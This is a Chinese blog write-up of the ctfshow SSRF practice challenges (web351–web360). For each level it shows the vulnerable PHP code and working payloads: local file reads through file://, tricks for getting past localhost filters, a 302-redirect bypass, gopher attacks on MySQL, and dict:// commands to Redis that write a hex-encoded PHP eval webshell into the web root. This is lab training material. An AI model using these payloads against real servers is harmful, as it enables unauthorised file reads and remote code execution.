ctfshow--web入门--SSRF

最新推荐文章于 2024-10-30 17:40:38 发布
最新推荐文章于 2024-10-30 17:40:38 发布
阅读量1k 收藏 11
点赞数 7
文章标签： ctf web php ssrf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2302_80472909/article/details/140389360
版权

目录

web351

web352

web353

web354

web355

web356

web357

web358

web359

web360

工具打

手动打

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

尝试一下file协议
url=file:///etc/passwd
可以发现有返回值, 读取flag.php文件
url=file:///var/www/html/flag.php
查看源代码可以发现flag
也可以直接使用http协议
url=http://127.0.0.1/flag.php
得到flag

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤了localhost 和 127.0.0.1
且必须用http 或者https协议
绕过就行 :
--127.1可以被解析成127.0.0.1
--0可以被解析成127.0.0.1
127.0.0.1 ~ 127.255.255.254都表示localhost
进制转换 将127.0.0.1转换成十进制
127。0.0.1 也可以绕过

url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.6.6.6/flag.php
url=http://2130706433/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

可以直接用上一道题的方法
进制转换或者用 0 替代啥的
url=http://0/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

sudo.cc相当于127.0.0.1 
或者改本地域名的A记录到127.0.0.1上，然后访问http://域名/flag.php

url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限定了长度, 可以用之前的方法

url=http://0/flag.php
url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

进一步限制了长度, 依旧可以用之前的方法

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

利用302跳转
在自己的服务器上新建一个1.php ,写上如下内容

<?php
header("Location:http://127.0.0.1/flag.php");

url=http://[自己的域名]/1.php
可以得到flag
 

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

题目要求必须以 http://ctf 开头，以 show 结尾
可以具体的了解一下parse_url()函数


url=http://ctf.@127.0.0.1/flag.php?show

可以得到flag

web359

一个登录框
bp抓包

有个returl参数, 可以随意修改url


题目提示: 打无密码的mysql
工具: GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

利用gopher协议打mysql

直接使用工具

将_ 后面的内容再次url编码一下, 传上去
(PHP接收到POST或GET请求数据，会自动进行一次URL解码)
访问路径, 进行rce得到flag

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

提示: 打redis

工具打

利用工具跟上题一样

依旧是要将_后面的字符再次url编码
然后传给url参数
反应有点慢, 而且后面还会返回一个 502 Bad Gateway
但是访问 shell.php 还是可以进行rce的

手动打

手动打的一个大概流程:
(第一遍没成功, 环境关了之后重复一下第二遍也没成功 , 因为之前是命名1.php 然后第三次直接又重复了一遍, 就改了个名字(shell.php), 居然就可以了,有点不理解 )
用dict协议探测一下是否在6379端口:

url=dict://127.0.0.1:6379

设置本地存放dir

url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

然后开始写马，一般用十六进制

url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"

设置文件名

url=dict://127.0.0.1:6379/set:dbfilename:shell.php

最后保存

url=dict://127.0.0.1:6379/save

访问shell.php 进行rce

pwfortune
关注
CTFSHOW-WEB入门代码审计篇
Re_ly0n的博客
11-02 506
web301 漏洞点checklogin.php $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; sqlmap一把梭出来账号密码登录拿到flag web302 更改部分 if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){ sqlmap跑出来账号密码却不知为何无法登录，然后尝试写
ctfshow web入门ssrf
xiaolong22333的博客
04-28 1036
其实刚接触时做过一遍，现在再做一遍巩固一下知识点 文章目录web351web352web353web354web355web356web357 web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1.
ctf_show笔记篇（web入门---SSRF)
whale_waves的博客
04-04 1111
ssrf产生原理： 服务端存在网络请求功能/函数，例如：file_get_contens()这一类类似于curl 这种函数传入的参数用户是可控的 没有对用户输入做过滤导致的ssrf漏洞 ssrf利用: 用于探测内网服务以及端口 探针存活主机以及开放服务 探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码, 因为默认是没有密码的, 或者说开发者设置了密码但是是弱口令), 利用定时任务反弹shell
ctfshow web入门 SSRF(超详解)
qq_50589021的博客
09-08 6735
前言 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） https://ctf-wiki.org/web/ssrf/ https://www.freebuf.com/articles/web/260806.html web351 <?php error_reporting(0)
CTFshow-WEB入门-SSRF
feng的博客
02-18 1602
前言 开始学习SSRF，学习文章： SSRF 学习记录(需要fq) 比较简单的题目就直接放payload了，不做解释。 web351 url=http://127.0.0.1/flag.php web352 scheme必须是http或者https，但是不能有127.0.0.1或者localhost。这个绕过技巧很多了，列具一些常用的吧： 进制绕过 url=http://0x7F000001/flag.php 0.0.0.0绕过 url=http://0.0.0.0/flag.php 短标签绕过，但是这
CTFSHOW 反序列化篇
热门推荐
羽的博客
12-11 1万+
web254 没搞懂和反序列化有啥关系，直接传username=xxxxxx&password=xxxxxx出flag web255 请求包内容如下 首先get传的username和password都是xxxxxx 因为源码里面 $user = unserialize($_COOKIE['user']); $user->login($username,$password); 就是是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是tr
ctfshow--ssrf
ing_end的博客
04-23 3978
SSRF概述及其危害 *SSRF概述 ​ 强制服务器发送一个攻击者的请求 ​ 互联网上的很多web应用提供了从其他服务器（也可以是本地)获取数据的功能。使用用户指定的URL，web应用可以获取图片（载入图片）、文件资源（下载或读取)。如下图所示，百度提供识图功能。如果链接可以访问任意请求，则存在ssrf漏洞 ​ 用户可以从本地或者URL的方式获取图片资源，交给百度识图处理。如果提交的是URL地址，该应用就会通过URL寻找图片资源。如果web 应用开放了类似于百度识图这样的功能，并且对用户提供的URL和远端
CTFSHOW-web入门-SSRF
whisper921的博客
04-09 954
SSRF 简介 服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 危害 SSRF可以对外网、服务器所在内网、本地进行端口扫描，攻击运行在内网或本地的应用，或者利用File协议读取本地文件。 内网服务防御相对外网服务来说一般会较弱，甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证，所以存在SSRF时，通常
ctfshow-web入门 ssrf篇
volcano的博客
03-06 2499
ctfshowSSRF简介危害web351web352parse_urlweb353更改IP地址写法web354web355web356web357web358web359(打无密码的mysql)web360(打redis) SSRF 简介 服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 危害 SSRF可以对外网、
ctfshow web入门 ssrf web351--web360
2301_81040377的博客
05-14 385
我测试了一下会显示504，我以为是环境的问题就没有整了，结果问了大菜鸡师傅，没问题，直接访问shell.php就行，这个故事告诉我们还是要多尝试。127.0.0.0/8是一个环回地址网段，从127.0.0.1 ~ 127.255.255.254都表示localhost。这道题我先是直接想访问flag.php，后来回显说必须是本地，于是payload。ip地址还可以通过表示成其他进制的形式访问，IP地址二进制、十进制、十六进制互换。然后访问shell.php进行rce即可。用服务器DNS重定向。
CTFshow-SSTI
Leo8283的博客
04-25 344
在CTFWEB入门的路上一直感恩有这么多大佬博文帮忙 第一步了解了ssti是个什么东西，做题时就要看大佬的解题博客，比较清晰能串联知识点 CTFshow做题 ssti做题逻辑 测试：name={{1%2b1}} %2b是加号，不能用+，一定要编码，因为+在url中会被当做空格 存在ssti： 查看当前类：{{''.__class__}} 查看当前类的所属类：{{''.__class__.__bases__}} 或者类的解析顺序{{''.__class__.__mro__}} 找到object基类
【CTFSHOW】web入门SSRF
7ruth0hn的博客
06-21 1204
CTFSHOW web入门SSRF 发现学习渗透和ctf对xss,ssrf,csrf,ssti都有挺高要求的，一直没怎么系统刷过题。今天学习学习，补补之前落下的债(*￣3￣)╭ web351 扫描网站发现存在flag.php文件，通过分析和测试发现需要服务器本地访问，故使用传入127.0.0.1/flag.php web352 payload: web353 过滤代码： if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_
ctfshow ssrf
08-16
- *1* [ctfshow-web入门 ssrf篇](https://blog.csdn.net/weixin_45696568/article/details/114434596)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common...
文件上传漏洞-通过.htaccess文件绕过
m0_73902453的博客
10-30 228
3.先将.htaccess上传上去，然后再打开抓包上传木马文件（1.php），然后将名字修改成1.jpg，因为刚刚的.htaccess已经上传到服务器，告诉服务器.jpg文件可以当作.php文件执行。通过这个文件，网站管理员可以进行各种配置，例如重定向、访问控制、URL重写等。结尾的文件都当作 PHP 脚本来处理，而不是作为普通文本文件或图像文件。这意味着，即使它们有文本或影像文件的扩展名，服务器将尝试执行其中的 PHP代码。2.这里以upload-labs（less-4）为例，我们先来看看靶场的源代码。
PHP文件包含漏洞
佛系摆烂
10-29 512
PHP 文件包含漏洞（File Inclusion Vulnerability）是一种常见的 Web 安全漏洞，发生在用户对 PHP 文件包含函数（如 include、require、include_once、require_once）的输入缺乏过滤和验证时。攻击者可以利用这个漏洞来包含服务器上任意文件，甚至是远程文件（如果服务器允许），从而获取敏感信息或执行任意代码。
群控系统服务端开发模式-应用开发-业务架构逻辑开发Redis封装
龙哥·三年风水从2011年开始做IT工作，从ps画图到前端开发->后端开发->框架开发->业务架构设计及开发->业务需求整理、开发->技术经理->技术总监
10-28 289
群控系统服务端开发模式-应用开发-业务架构逻辑开发Redis封装
除了wordpress CMS外，还有什么CMS值得我们使用？
weixin_42832157的博客
10-28 455
因为考虑到扩展和安全的问题，开始使用PageAdmin CMS，大概使用了大概2年，发觉它基本能满足我所有的建站需求，重要一点是，它安全性高，能满足等级定级备案的二级和三级，而且它的扩展方式也是我所喜欢的，跟手机APP一样的，随着使用者的需求，任意通过应用中心下载和安装，随着使用。作为建站的小白，前端不会开发、后台不会编写，用CMS来搭建网站是最理想的建站方式，经过线上的站长推荐，我认识了wordpress CMS，来自国外的一套CMS，使用上非常方便，熟悉时间不需要太长，也能快速进入建站的过程。
windows中的route
weixin_45778311的博客
10-26 450
在 Windows 操作系统中，route命令用于显示或修改本地 IP 路由表。以下是一些常用的route。
Unsafe Fileupload-pikachu
最新发布
zhangqqa的博客
10-30 761
不安全的文件上传漏洞概述文件上传功能在web应用系统很常见，比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后，后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等，然后将其按照设计的格式进行重命名后存储在指定的目录。如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨，则攻击着可能会上传一些恶意的文件，比如一句话木马，从而导致后台服务器被webshell。所以，在设计文件上传功能时，一定要对传进来的文件进行严格的安全考虑。
SSRF-Testing安装
07-25
SSRF (Server Side Request Forgery) 测试是一个用于检测服务器端请求伪造漏洞的工具，它是一种常见的安全测试技术。为了安装 SSFRT 这一工具，你可以按照以下步骤操作： ### 安装依赖 首先，确保你的系统已安装 Python 和 pip（Python 的包管理器）。在命令行界面输入： ```bash pip install -r requirements.txt ``` 如果你是使用基于 Debian 或者 Ubuntu 的 Linux 发行版，则需要先安装 `libffi-dev`、`libssl-dev`、`python-dev` 等库，可以通过运行以下命令完成： ```bash sudo apt-get update sudo apt-get install libffi-dev libssl-dev python-dev ``` 接着，在你的项目目录中创建一个名为 `requirements.txt` 的文件，并添加所需的依赖（通常包括 `requests` 库），然后再次使用 `pip` 来安装： ```txt # requirements.txt 文件内容示例 requests==2.26.0 pip install -r requirements.txt ``` ### 安装 SSFRT 工具 使用 Git 克隆 SSFRT 的仓库到本地： ```bash git clone https://github.com/ssertool/ssftrt.git cd ssftrt pip install . ``` 或者从 PyPI 直接安装（如果已发布）： ```bash pip install ssftrt ``` ### 使用 SSFRT 一旦 SSFRT 成功安装，你可以在 Python 脚本中导入并使用它来进行 SSRF 测试。典型的用法如下： ```python from ssertool.ssftrt import SSFRT ssf = SSFRT() results = ssf.scan('http://example.com', {'param': 'http://target.example.com'}) print(results) ``` 在这个例子中，我们尝试通过 `http://example.com` 的 URL 发起请求，其中 `param` 参数指向了目标 URL `http://target.example.com`。 ###
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值